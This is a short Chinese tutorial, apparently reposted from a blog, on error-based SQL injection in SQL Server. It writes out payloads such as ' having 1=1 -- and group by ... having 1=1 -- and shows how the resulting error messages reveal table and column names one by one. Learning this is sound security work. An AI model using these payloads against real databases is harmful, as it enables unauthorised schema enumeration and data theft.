sql server注入

Sql server数据库注入

Sql server数据库是一个非常优秀的数据库,它可以准确地定位错误消息,对开发人员来说来说,这是一件十分美好的事情,对攻击者来说也是一件十分美好的事情,因为攻击者可以通过错误消息提取数据。

(1)枚举当前表及列

查询root用户的详细信息,SQL语句如下:

select * from users where username=’root’

利用SQL server特性来获取敏感信息,例如:

‘ having 1=1 —

最终执行SQL语句:

select * from users where username=’root’ and password=’root’ having 1=1 —

那么sql执行器将会抛出一个错误(因为版本的问题,显示的错误信息也不尽相同)

消息 8120,级别 16,状态1,第2行

选择列表中的列“users.id”无效,因为该列灭有包含在聚合函数或Group by子句中。

由此可以发现当前表名为users,并且存在“id”列名,攻击者可以利用此特性继续得到其他列名,输入如下SQL语句:

select * from users where username=”root” and password=’root’ group by users.id having 1=1 —

执行器提示错误信息:

消息 8120,级别16,状态1,第一行

选择列表中的列’users.username’无效,因为该列没有包含在聚合函数或group by字句中。

可以看到执行器又抛出了“username”列名,由此可以依次递归查询,直到没有错误消息返回为止,这样就可以利用having字句“查询”出单前表中的所有列名。

    原文作者:独白白1920
    原文地址: https://www.jianshu.com/p/2d32948a3692
    本文转自网络文章,转载此文章仅为分享知识,如有侵权,请联系博主进行删除。
点赞